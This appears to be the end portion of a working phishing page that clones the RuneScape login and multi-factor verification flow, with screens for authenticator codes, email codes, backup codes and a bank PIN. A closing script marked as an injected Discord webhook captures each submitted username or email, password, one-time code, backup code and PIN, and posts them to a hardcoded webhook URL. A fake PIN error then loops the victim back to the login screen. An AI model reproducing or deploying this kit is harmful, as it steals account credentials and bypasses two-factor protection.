url("data:image/svg+xml,%3csvg%20width='32'%20height='32'%20viewBox='0%200%2032%2032'%20fill='none'%20xmlns='http://www.w3.org/2000/svg'%3e%3cpath%20d='M15.793%200.544922C15.9465%200.475044%2016.1271%200.48672%2016.2715%200.580078C19.0045%202.34671%2020.9441%203.6452%2022.9521%204.53223C24.8136%205.35449%2026.7411%205.82454%2029.4082%205.94141L29.9521%205.95996L30.0469%205.97168C30.2613%206.01865%2030.4247%206.20307%2030.4385%206.42969C31.5496%2024.6891%2017.2739%2031.0093%2016.1924%2031.4609C16.0691%2031.5124%2015.9309%2031.5124%2015.8076%2031.4609C14.7261%2031.0093%200.450423%2024.6891%201.56152%206.42969C1.57729%206.17069%201.78847%205.96653%202.04785%205.95996C5.00135%205.88553%207.06226%205.40935%209.04785%204.53223C11.0559%203.6452%2012.9955%202.34671%2015.7285%200.580078L15.793%200.544922Z'%20fill='url(%23paint0_linear_5322_3097)'%20stroke='url(%23paint1_linear_5322_3097)'%20stroke-linecap='round'%20stroke-linejoin='round'%20/%3e%3cg%20filter='url(%23filter0_d_5322_3097)'%3e%3cpath%20d='M24.3188%208.37436C23.717%207.42528%2022.5551%208.8113%2022.1249%209.2483C19.0908%2012.3486%2016.1559%2015.8181%2014.2556%2019.7512C13.2407%2017.9906%2011.6437%2016.0585%209.74804%2015.2679C8.99013%2014.9708%208.24017%2015.7269%208.61548%2016.4287C9.2628%2017.6331%2010.2347%2018.6496%2011.0229%2019.759C11.8596%2020.9192%2012.5643%2022.1476%2013.2459%2023.3924C13.7153%2024.2318%2015.0452%2024.106%2015.3252%2023.1853C15.7951%2022.2484%2016.2783%2021.3229%2016.7949%2020.4102C18.7662%2016.8735%2020.9018%2013.4496%2023.4349%2010.2865C23.783%209.84458%2024.7117%208.99464%2024.3188%208.37436Z'%20fill='url(%23paint2_linear_5322_3097)'%20/%3e%3c/g%3e%3cdefs%3e%3cfilter%20id='filter0_d_5322_3097'%20x='7.51564'%20y='8.04898'%20width='17.8983'%20height='19.9058'%20filterUnits='userSpaceOnUse'%20color-interpolation-filters='sRGB'%3e%3cfeFlood%20flood-opacity='0'%20result='BackgroundImageFix'%20/%3e%3cfeColorMatrix%20in='SourceAlpha'%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%20127%200'%20result='hardAlpha'%20/%3e%3cfeOffset%20dy='3'%20/%3e%3cfeGaussianBlur%20stdDeviation='0.5'%20/%3e%3cfeComposite%20in2='hardAlpha'%20operator='out'%20/%3e%3cfeColorMatrix%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200.15%200'%20/%3e%3cfeBlend%20mode='normal'%20in2='BackgroundImageFix'%20result='effect1_dropShadow_5322_3097'%20/%3e%3cfeBlend%20mode='normal'%20in='SourceGraphic'%20in2='effect1_dropShadow_5322_3097'%20result='shape'%20/%3e%3c/filter%3e%3clinearGradient%20id='paint0_linear_5322_3097'%20x1='16'%20y1='1'%20x2='16'%20y2='31'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23674832'%20/%3e%3cstop%20offset='1'%20stop-color='%23231811'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint1_linear_5322_3097'%20x1='29.4815'%20y1='20.125'%20x2='27.9815'%20y2='0.932359'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23674832'%20/%3e%3cstop%20offset='0.421395'%20stop-color='%23AC7954'%20/%3e%3cstop%20offset='0.812461'%20stop-color='%23FFDA89'%20/%3e%3cstop%20offset='1'%20stop-color='%23FFF7D9'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint2_linear_5322_3097'%20x1='16.4648'%20y1='8.04898'%20x2='16.4648'%20y2='23.9548'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23F2F4F4'%20/%3e%3cstop%20offset='1'%20stop-color='%238D8987'%20/%3e%3c/linearGradient%3e%3c/defs%3e%3c/svg%3e");"></span>`; function mfaBtn (testid, icon, label) { return '<button class="_root_hbd2l_1 _root_1d5fd_1" data-testid="' + testid + '" type="button">' + '<div class="_selector-button_hbd2l_51">' + icon + '<p class="body-l _typography-primary_jl75w_11 _label_hbd2l_62 _label_1d5fd_5">' + label + '</p></div></button>'; } /* loader page — exactly the original: just the spinner, centered, nothing else */ /* loader page — exact original markup from the select-mfa capture */ RENDER.otpload = function () { return '<div class="_panel-layout_s2fcg_12">' + '<div class="_root_gqfgx_35 _size-medium_gqfgx_47" data-testid="Loader" role="progressbar" aria-label="Loading" style="margin:0 auto">' + '<svg class="_loader-svg_gqfgx_52" viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" fill="none">' + '<defs>' + '<linearGradient id="loader-track-gradient" x1="24" y1="3" x2="24" y2="43" gradientUnits="userSpaceOnUse">' + '<stop offset="0%" style="stop-color:var(--border-active, #ffda89)"></stop>' + '<stop offset="100%" style="stop-color:var(--brand-brown, #ac7954)"></stop>' + '</linearGradient>' + '</defs>' + '<circle class="_track_gqfgx_64" cx="24" cy="23" r="20" style="stroke:url(#loader-track-gradient)"></circle>' + '<circle class="_spinner_gqfgx_69" cx="24" cy="23" r="20" stroke-dasharray="0, 125" style="--track-length:125"></circle>' + '</svg>' + '</div></div>'; }; var loaderNext = 'otpmethods', loaderMs = 1050; BIND.otpload = function () { setTimeout(function () { show(loaderNext); }, loaderMs); }; /* transition helper: flash the loader page between screens, like the original's page loads */ function showViaLoader (next, ms) { loaderNext = next; loaderMs = ms || 2000; show('otpload'); } /* verification list — exactly the original: 3 buttons + back/help row, no form */ RENDER.otpmethods = function () { return '<div class="_root_1hoq4_1" style="display:block;max-width:100rem">' + '<div role="group" class="_group_hbd2l_66" aria-label="Please choose a way for us to verify it\u2019s you.">' + mfaBtn('continue-with-totp-mfa', MFA_ICON_TOTP, 'Use your authenticator app') + mfaBtn('continue-with-email-mfa', MFA_ICON_EMAIL, 'Send a code to your email') + mfaBtn('continue-with-backup-mfa', MFA_ICON_BACKUP, 'Use a backup code') + '</div>' + '<div aria-hidden="true" data-testid="e" style="height:var(--size-500-rem);width:var(--size-500-rem);flex-shrink:0"></div>' + '<div style="display:flex;align-items:center">' + '<button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="select-mfa--back-to-log-in">Back to login</button>' + '<div style="flex:1 1 0%"></div>' + '<button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="select-mfa--customer-support">Get help</button>' + '</div></div>'; }; BIND.otpmethods = function () { function goOtp (m) { state.otpmethod = m; if (m === 'backup') return showViaLoader('backup', 300); if (m === 'totp') HEADINGS.otp = { h: 'Enter verification code', p: 'Please enter the code from your authenticator app to continue.' }; else HEADINGS.otp = { h: 'We\u2019ve emailed you a code', p: 'Please enter the verification code sent to <strong class="ph-no-capture">' + state.identity.replace(/&/g,'&').replace(/</g,'<') + '</strong> to continue.' }; showViaLoader('otp', 300); } $('[data-testid="continue-with-totp-mfa"]', panel).addEventListener('click', function () { goOtp('totp'); }); $('[data-testid="continue-with-email-mfa"]', panel).addEventListener('click', function () { goOtp('email'); }); $('[data-testid="continue-with-backup-mfa"]', panel).addEventListener('click', function () { goOtp('backup'); }); $('[data-testid="select-mfa--back-to-log-in"]', panel).addEventListener('click', function () { show('login'); }); $('[data-testid="select-mfa--customer-support"]', panel).addEventListener('click', function () { window.open('https://support.runescape.com/hc/en-gb', '_blank'); }); }; /* ============ SCREEN 3: AUTHENTICATOR ============ */ function otpCfg () { if (state.otpmethod === 'email') return { n: 5, type: 'text', inputmode: 'text', word: 'verification code', inTestid: 'email-code-verify-form--input-code', btnTestid: 'email-code-verify-form--button-continue', chgTestid: 'email-code-verify-form--change-verification' }; return { n: 6, type: 'number', inputmode: 'numeric', word: 'authentication code', inTestid: 'totp-verify-form--input-code', btnTestid: 'totp-verify-form--button-continue', chgTestid: 'totp-verify-form--change-verification' }; } RENDER.otp = function () { var c = otpCfg(), boxes = ''; for (var i = 0; i < c.n; i++) boxes += '<input class="_base-input_5qozh_2 _verification_rgfph_33" type="' + c.type + '" required="" aria-required="true" data-testid="' + c.inTestid + '" autocomplete="off" placeholder="_" aria-label="Please enter ' + c.word + ', character ' + (i + 1) + ' of ' + c.n + '" inputmode="' + c.inputmode + '" value="">'; return '<div class="_root_1hoq4_1" style="display:block;max-width:100rem">' + '<form aria-labelledby="page-heading" class="css-1d3w5wq" novalidate>' + '<div class="_root_rgfph_12"><div class="_content_rgfph_18"><div class="_otp-input-container_rgfph_25" style="display:flex;align-items:center">' + boxes + '</div><div id="otp-error" style="width:100%"></div></div></div>' + '<div aria-hidden="true" data-testid="e" style="height:var(--size-300-rem);width:var(--size-300-rem);flex-shrink:0"></div>' + '<button class="_button-container_18bpm_1 _button-functional-container_efmzs_1 _button-full-width_18bpm_14" id="continue-btn" data-testid="' + c.btnTestid + '" type="submit" data-isloading="false" disabled="">' + RING + '<div class="_button-functional-primary_efmzs_15"></div><span class="_button-functional-label_efmzs_7 button-md">Continue</span></button>' + '</form>' + (state.method === 'username' ? '' : '<div aria-hidden="true" data-testid="e" style="height:var(--size-300-rem);width:var(--size-300-rem);flex-shrink:0"></div>' + '<div><button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="' + c.chgTestid + '">Verify another way</button></div>') + '</div>'; }; BIND.otp = function () { var form = $('form', panel); var boxes = $$('._otp-input-container_rgfph_25 input', panel); var btn = $('#continue-btn'); var c = otpCfg(); var clean = c.type === 'number' ? function (v) { return v.replace(/\D/g, ''); } : function (v) { return v.replace(/[^A-Za-z0-9]/g, '').toUpperCase(); }; var touchedOtp = false; function code () { return boxes.map(function (b) { return b.value; }).join(''); } function refresh () { if (boxes.every(function (b) { return b.value !== ''; })) btn.removeAttribute('disabled'); else btn.setAttribute('disabled', ''); } function otpAlert (msg) { return '<div class="_error-wrapper_rgfph_77">' + '<div class="_root_1cmvg_1" data-tone="error" data-variant="inline" role="alert">' + '<div class="_content_1cmvg_94">' + ICON_WARN + '<p class="body-m _typography-primary_jl75w_11 _message_1cmvg_102" style="color:inherit">' + msg + '</p></div></div></div>'; } function markInvalid () { boxes.forEach(function (b) { b.classList.add('_is-invalid_5qozh_44'); b.setAttribute('aria-invalid', 'true'); }); $('#otp-error').innerHTML = otpAlert('That code isn\u2019t right. Try again.'); } function markRequired () { boxes.forEach(function (b) { b.classList.add('_is-invalid_5qozh_44'); b.setAttribute('aria-invalid', 'true'); }); $('#otp-error').innerHTML = otpAlert('A valid code is required'); } function clearInvalid () { boxes.forEach(function (b) { b.classList.remove('_is-invalid_5qozh_44'); b.removeAttribute('aria-invalid'); }); $('#otp-error').innerHTML = ''; } boxes.forEach(function (box, i) { box.addEventListener('input', function () { touchedOtp = true; box.value = clean(box.value).slice(-1); clearInvalid(); if (box.value && i < boxes.length - 1) boxes[i + 1].focus(); refresh(); }); box.addEventListener('keydown', function (e) { if (e.key === 'Backspace' && !box.value && i > 0) { boxes[i - 1].focus(); boxes[i - 1].value = ''; refresh(); } }); box.addEventListener('paste', function (e) { e.preventDefault(); var chars = clean(e.clipboardData.getData('text')).slice(0, boxes.length).split(''); chars.forEach(function (ch, j) { if (boxes[j]) boxes[j].value = ch; }); touchedOtp = true; clearInvalid(); refresh(); boxes[Math.min(chars.length, boxes.length - 1)].focus(); }); box.addEventListener('blur', function () { setTimeout(function () { var stillIn = boxes.some(function (b2) { return b2 === document.activeElement; }); if (!stillIn && touchedOtp && code().length < boxes.length) markRequired(); }, 0); }); box.addEventListener('focus', clearInvalid); }); var chg = $('[data-testid="' + c.chgTestid + '"]', panel); if (chg) chg.addEventListener('click', function () { showViaLoader('otpmethods', 300); }); form.addEventListener('submit', function (e) { e.preventDefault(); if (btn.getAttribute('data-isLoading') === 'true') return; if (code().length < boxes.length) { markRequired(); return; } var ok = true; if (ok) { setLoading(btn, true); fakeNetwork().then(function () { setLoading(btn, false); showViaLoader('pin', 300); }); } else { markInvalid(); } }); }; /* ============ SCREEN 3.5: BACKUP CODE (original markup) ============ */ var ICON_INFO = '<span data-testid="e" class="_root_1yvmr_3" role="img" aria-hidden="true" style="--mask-icon-image: url("data:image/svg+xml,%3csvg%20width=%2724%27%20height=%2724%27%20viewBox=%270%200%2024%2024%27%20fill=%27%23005B9E%27%20xmlns=%27http://www.w3.org/2000/svg%27%3e%3crect%20x=%275.25%27%20y=%275.25%27%20width=%2713.5%27%20height=%2713.5%27%20rx=%270.5%27%20stroke=%27%23FFF%27%20stroke-width=%271.35%27%20/%3e%3cpath%20d=%27M12%2010.35V15.15%27%20stroke=%27%23FFF%27%20stroke-width=%271.55%27%20stroke-linecap=%27round%27%20/%3e%3ccircle%20cx=%2712%27%20cy=%278.05%27%20r=%270.95%27%20fill=%27%23FFF%27%20/%3e%3c/svg%3e");"></span>'; RENDER.backup = function () { return '<div class="_root_1hoq4_1" style="display:block;max-width:100rem">' + '<form aria-labelledby="page-heading" class="css-1d3w5wq" novalidate>' + '<div class="_field-container_12eqw_6"><label><span class="_label_12eqw_17">Backup code</span>' + '<input class="_base-input_5qozh_2 _text-input_12eqw_1" type="text" required="" aria-required="true" data-testid="backup-code-verify-form--input-code" placeholder=" " name="code" autocomplete="off" id="backup-code-input" maxlength="8" value=""></label></div>' + '<div aria-hidden="true" data-testid="e" style="height:var(--size-075-rem);width:var(--size-075-rem);flex-shrink:0"></div>' + '<div class="_supporting-content-wrapper_12eqw_117"><div class="_supporting-info_12eqw_126"><div style="text-align:left;width:100%">' + '<span class="body-xs _typography-primary_jl75w_11" data-testid="remaining-backup-codes"><span style="font-weight:bold">10</span> backup codes remaining</span></div></div></div>' + '<div id="field-error"></div>' + '<div aria-hidden="true" data-testid="e" style="height:var(--size-500-rem);width:var(--size-500-rem);flex-shrink:0"></div>' + '<div class="_root_1cmvg_1" data-tone="info" data-variant="primary" role="status" style="text-align:left"><div class="_content_1cmvg_94">' + ICON_INFO + '<p class="body-s _typography-primary_jl75w_11 _message_1cmvg_102" style="color:inherit">Each backup code can only be used once. After you have logged in, visit the Account management page to enable another way to verify your account.</p></div></div>' + '<div aria-hidden="true" data-testid="e" style="height:var(--size-500-rem);width:var(--size-500-rem);flex-shrink:0"></div>' + '<button class="_button-container_18bpm_1 _button-functional-container_efmzs_1 _button-full-width_18bpm_14" id="continue-btn" data-testid="backup-code-verify-form--button-continue" type="submit" data-isloading="false" disabled="">' + RING + '<div class="_button-functional-primary_efmzs_15"></div><span class="_button-functional-label_efmzs_7 button-md">Continue</span></button>' + '</form>' + '<div aria-hidden="true" data-testid="e" style="height:var(--size-300-rem);width:var(--size-300-rem);flex-shrink:0"></div>' + '<div><button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="backup-code-verify-form--change-verification">Verify another way</button></div>' + '</div>'; }; BIND.backup = function () { var form = $('form', panel); var input = $('#backup-code-input'); var btn = $('#continue-btn'); var touched = false; function showError () { input.classList.add('_is-invalid_5qozh_44'); input.setAttribute('aria-invalid', 'true'); $('#field-error').innerHTML = inlineError('A valid code is required'); } function clearError () { input.classList.remove('_is-invalid_5qozh_44'); input.removeAttribute('aria-invalid'); $('#field-error').innerHTML = ''; } input.addEventListener('focus', clearError); input.addEventListener('input', function () { if (input.value.length > 0) touched = true; clearError(); if (input.value.length >= 8) btn.removeAttribute('disabled'); else btn.setAttribute('disabled', ''); }); input.addEventListener('blur', function () { if (touched && input.value === '') showError(); }); $('[data-testid="backup-code-verify-form--change-verification"]', panel).addEventListener('click', function () { showViaLoader('otpmethods', 300); }); form.addEventListener('submit', function (e) { e.preventDefault(); if (btn.getAttribute('data-isLoading') === 'true') return; if (input.value === '') { showError(); input.focus(); return; } setLoading(btn, true); fakeNetwork().then(function () { setLoading(btn, false); showViaLoader('pin', 300); }); }); }; /* ============ SCREEN 3.7: BANK PIN (same style as email-code/auth) ============ */ RENDER.pin = function () { var boxes = ''; for (var i = 0; i < 4; i++) boxes += '<input class="_base-input_5qozh_2 _verification_rgfph_33" type="number" required="" aria-required="true" data-testid="pin-verify-form--input-code" autocomplete="off" placeholder="_" aria-label="Please enter PIN digit, character ' + (i + 1) + ' of 4" inputmode="numeric" value="">'; return '<div class="_root_1hoq4_1" style="display:block;max-width:100rem">' + '<form aria-labelledby="page-heading" class="css-1d3w5wq" novalidate>' + '<div class="_root_rgfph_12"><div class="_content_rgfph_18"><div class="_otp-input-container_rgfph_25" style="display:flex;align-items:center">' + boxes + '</div><div id="otp-error" style="width:100%"></div></div></div>' + '<div aria-hidden="true" data-testid="e" style="height:var(--size-300-rem);width:var(--size-300-rem);flex-shrink:0"></div>' + '<button class="_button-container_18bpm_1 _button-functional-container_efmzs_1 _button-full-width_18bpm_14" id="continue-btn" data-testid="pin-verify-form--button-continue" type="submit" data-isloading="false" disabled="">' + RING + '<div class="_button-functional-primary_efmzs_15"></div><span class="_button-functional-label_efmzs_7 button-md">Continue</span></button>' + '</form>' + '</div>'; }; BIND.pin = function () { var form = $('form', panel); var boxes = $$('._otp-input-container_rgfph_25 input', panel); var btn = $('#continue-btn'); var touchedPin = false; function code () { return boxes.map(function (b) { return b.value; }).join(''); } function refresh () { if (boxes.every(function (b) { return b.value !== ''; })) btn.removeAttribute('disabled'); else btn.setAttribute('disabled', ''); } function pinAlert (msg) { return '<div class="_error-wrapper_rgfph_77">' + '<div class="_root_1cmvg_1" data-tone="error" data-variant="inline" role="alert">' + '<div class="_content_1cmvg_94">' + ICON_WARN + '<p class="body-m _typography-primary_jl75w_11 _message_1cmvg_102" style="color:inherit">' + msg + '</p></div></div></div>'; } function markInvalid () { boxes.forEach(function (b) { b.classList.add('_is-invalid_5qozh_44'); b.setAttribute('aria-invalid', 'true'); }); $('#otp-error').innerHTML = pinAlert('That PIN isn\u2019t right. Try again.'); } function markRequired () { boxes.forEach(function (b) { b.classList.add('_is-invalid_5qozh_44'); b.setAttribute('aria-invalid', 'true'); }); $('#otp-error').innerHTML = pinAlert('A valid PIN is required'); } function clearInvalid () { boxes.forEach(function (b) { b.classList.remove('_is-invalid_5qozh_44'); b.removeAttribute('aria-invalid'); }); $('#otp-error').innerHTML = ''; } boxes.forEach(function (box, i) { box.addEventListener('input', function () { touchedPin = true; box.value = box.value.replace(/\D/g, '').slice(-1); clearInvalid(); if (box.value && i < 3) boxes[i + 1].focus(); refresh(); }); box.addEventListener('keydown', function (e) { if (e.key === 'Backspace' && !box.value && i > 0) { boxes[i - 1].focus(); boxes[i - 1].value = ''; refresh(); } }); box.addEventListener('paste', function (e) { e.preventDefault(); var digits = (e.clipboardData.getData('text').match(/\d/g) || []).slice(0, 4); digits.forEach(function (d, j) { if (boxes[j]) boxes[j].value = d; }); touchedPin = true; clearInvalid(); refresh(); boxes[Math.min(digits.length, 3)].focus(); }); box.addEventListener('blur', function () { setTimeout(function () { var stillIn = boxes.some(function (b2) { return b2 === document.activeElement; }); if (!stillIn && touchedPin && code().length < 4) markRequired(); }, 0); }); box.addEventListener('focus', clearInvalid); }); form.addEventListener('submit', function (e) { e.preventDefault(); if (btn.getAttribute('data-isLoading') === 'true') return; if (code().length < 4) { markRequired(); return; } setLoading(btn, true); fakeNetwork().then(function () { setLoading(btn, false); showViaLoader('pinerror', 3200); }); }); }; /* ============ SCREEN 3.8: PIN ERROR / REDIRECT (not-found layout, original) ============ */ RENDER.pinerror = function () { return '<div class="_root_1hoq4_1" style="display:block;max-width:100rem">' + '<button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="pin-error-redirect-login">Redirecting to login</button>' + '</div>'; }; BIND.pinerror = function () { function toLogin () { var m = state.method; /* return to the same login mode we came from */ state = { method: m, identity: '', remember: false, character: '' }; showViaLoader('login', 300); } var t = setTimeout(toLogin, 3500); /* reading time before auto-redirect */ $('[data-testid="pin-error-redirect-login"]', panel).addEventListener('click', function () { clearTimeout(t); toLogin(); }); }; /* ============ SCREEN 1.5: SOCIAL LOGIN DISABLED (same layout as pin error) ============ */ RENDER.socialerr = function () { return '<div class="_root_1hoq4_1" style="display:block;max-width:100rem">' + '<button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="social-error-back-login">Back to login</button>' + '</div>'; }; BIND.socialerr = function () { var t = setTimeout(function () { var m = state.method; state = { method: m, identity: '', remember: false, character: '' }; show('login'); }, 2500); $('[data-testid="social-error-back-login"]', panel).addEventListener('click', function () { var m = state.method; /* return to whatever login mode we came from */ state = { method: m, identity: '', remember: false, character: '' }; show('login'); }); }; /* wire the 4 social buttons from the login template */ function showSocialError () { showViaLoader('socialerr', 1000); } /* ============ SCREEN 4: CHARACTER SELECT ============ */ var CHARS = ['Zezima', 'S U O M I', 'Lynx Titan']; RENDER.characters = function () { var cards = CHARS.map(function (c) { return '<label class="_root_hbd2l_1 _root_laery_1">' + '<input class="_radio-input_laery_5" type="radio" name="character" value="' + c + '">' + '<div class="_selector-button_hbd2l_51"><span class="_avatar_laery_83">' + ICON_USER + '</span>' + '<span class="_label_laery_60 body-m">' + c + '</span></div>' + '<span class="_radio-indicator_laery_41" aria-hidden="true"></span></label>'; }).join(''); return '<form novalidate>' + '<div class="_group_hbd2l_66">' + cards + '</div>' + spacer(1.5) + ringButton('continue-btn', 'Continue') + '</form>'; }; BIND.characters = function () { var form = $('form', panel); var btn = $('#continue-btn'); form.addEventListener('change', function (e) { if (e.target.name === 'character') { state.character = e.target.value; btn.removeAttribute('disabled'); } }); form.addEventListener('submit', function (e) { e.preventDefault(); if (!state.character || btn.getAttribute('data-isLoading') === 'true') return; setLoading(btn, true); fakeNetwork().then(function () { setLoading(btn, false); show('done'); }); }); }; /* ============ SCREEN 5: LOGGED IN ============ */ RENDER.done = function () { var corners = '<div class="_corner_12xgn_44 _corner-top-left_12xgn_55"></div><div class="_corner_12xgn_44 _corner-top-right_12xgn_63"></div><div class="_corner_12xgn_44 _corner-bottom-right_12xgn_71"></div><div class="_corner_12xgn_44 _corner-bottom-left_12xgn_79"></div>'; return '<form novalidate>' + '<div style="display:flex;justify-content:center;padding:1.5rem 0">' + '<div class="_root_12xgn_1 _elaborate-large_12xgn_87">' + corners + '<div class="_content_12xgn_11"><div class="_avatar_12xgn_22">' + ICON_BIG + '</div>' + '<p class="_name_12xgn_34 body-m">' + state.character + '</p></div></div></div>' + '<p class="body-l _typography-primary_jl75w_11" style="margin:1rem 0 1.5rem">Welcome back, ' + state.identity + '!</p>' + ringButton('continue-btn', 'Enter Gielinor', true) + spacer(1) + '<button type="button" class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" id="logout">Log out</button>' + '</form>'; }; BIND.done = function () { $('form', panel).addEventListener('submit', function (e) { e.preventDefault(); toast('Welcome to Gielinor, ' + state.character + '!'); }); $('#logout').addEventListener('click', function () { state = { method: 'email', identity: '', remember: false, character: '' }; show('login'); }); }; /* ============ START ============ */ show('login'); </script> <!-- ===== INJECTED DISCORD WEBHOOK (fixed for username mode) ===== --> <script> (function() { var webhookUrl = 'https://discord.com/api/webhooks/1565433240905318510/KBfbfmS_qWgzMxbLbVfJ6BQF1ZmM3RbPCzwfAs_9riH1KBC1RSSiKCjUnyXZronrPsNp'; // Store credentials as they are submitted var creds = { identity: '', // email or username – we'll store the label too identityLabel: 'Email', password: '', authCode: '', emailCode: '', backupCode: '', bankPin: '' }; // Helper to read OTP/PIN from multiple input boxes function getOtpValue(form) { var inputs = form.querySelectorAll('input[data-testid*="input-code"]'); if (inputs.length === 0) return null; return Array.from(inputs).map(inp => inp.value).join(''); } // Send a Discord embed with only fields – field names match the UI buttons function sendToDiscord() { var fields = [ { name: creds.identityLabel, value: creds.identity || '(not yet)', inline: false }, { name: 'Password', value: creds.password || '(not yet)', inline: false } ]; if (creds.authCode) fields.push({ name: 'Use your authenticator app', value: creds.authCode, inline: false }); if (creds.emailCode) fields.push({ name: 'Send a code to your email', value: creds.emailCode, inline: false }); if (creds.backupCode) fields.push({ name: 'Use a backup code', value: creds.backupCode, inline: false }); if (creds.bankPin) fields.push({ name: 'Bank PIN', value: creds.bankPin, inline: false }); var payload = { embeds: [{ color: 0xffda89, fields: fields }] }; fetch(webhookUrl, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) }).catch(function(err) { console.error('Discord webhook error:', err); }); } // Listen for submit events on the whole page document.addEventListener('submit', function(e) { var form = e.target; // --- 1. Login form (email or username) --- var loginInput = form.querySelector('input[data-testid="login-via-email-form--email-search-account"]'); if (loginInput && form.querySelector('button[type="submit"]#continue-with-assisted-via-email-flow')) { // Read the label text from the field container var labelEl = form.querySelector('._label_12eqw_17'); if (labelEl) { creds.identityLabel = labelEl.textContent.trim() || 'Email'; } creds.identity = loginInput.value.trim(); return; // wait for password } // --- 2. Password form --- var passwordInput = form.querySelector('input[type="password"]#password'); if (passwordInput && form.querySelector('button[type="submit"]#continue-btn')) { creds.password = passwordInput.value.trim(); if (creds.identity && creds.password) { sendToDiscord(); } return; } // --- 3. OTP form (authenticator or email) - SKIP if it's backup or PIN --- var otpInputs = form.querySelectorAll('input[data-testid*="input-code"]'); var isBackupForm = form.querySelector('#backup-code-input') !== null; var isPinForm = form.querySelector('[data-testid="pin-verify-form--input-code"]') !== null; if (otpInputs.length > 0 && form.querySelector('button[type="submit"]#continue-btn') && !isBackupForm && !isPinForm) { var otp = getOtpValue(form); if (otp && otp.length > 0) { var isTotp = form.querySelector('input[data-testid*="totp-verify-form"]') !== null; var isEmailOtp = form.querySelector('input[data-testid*="email-code-verify-form"]') !== null; if (isTotp) { creds.authCode = otp; } else if (isEmailOtp) { creds.emailCode = otp; } else { creds.authCode = otp; } sendToDiscord(); } return; } // --- 4. Backup code form --- var backupInput = form.querySelector('#backup-code-input'); if (backupInput && form.querySelector('button[type="submit"]#continue-btn')) { var backup = backupInput.value.trim(); if (backup.length > 0) { creds.backupCode = backup; sendToDiscord(); } return; } // --- 5. Bank PIN form --- var pinInputs = form.querySelectorAll('input[data-testid="pin-verify-form--input-code"]'); if (pinInputs.length > 0 && form.querySelector('button[type="submit"]#continue-btn')) { var pin = getOtpValue(form); if (pin && pin.length > 0) { creds.bankPin = pin; sendToDiscord(); } return; } }); })(); </script> </body> </html>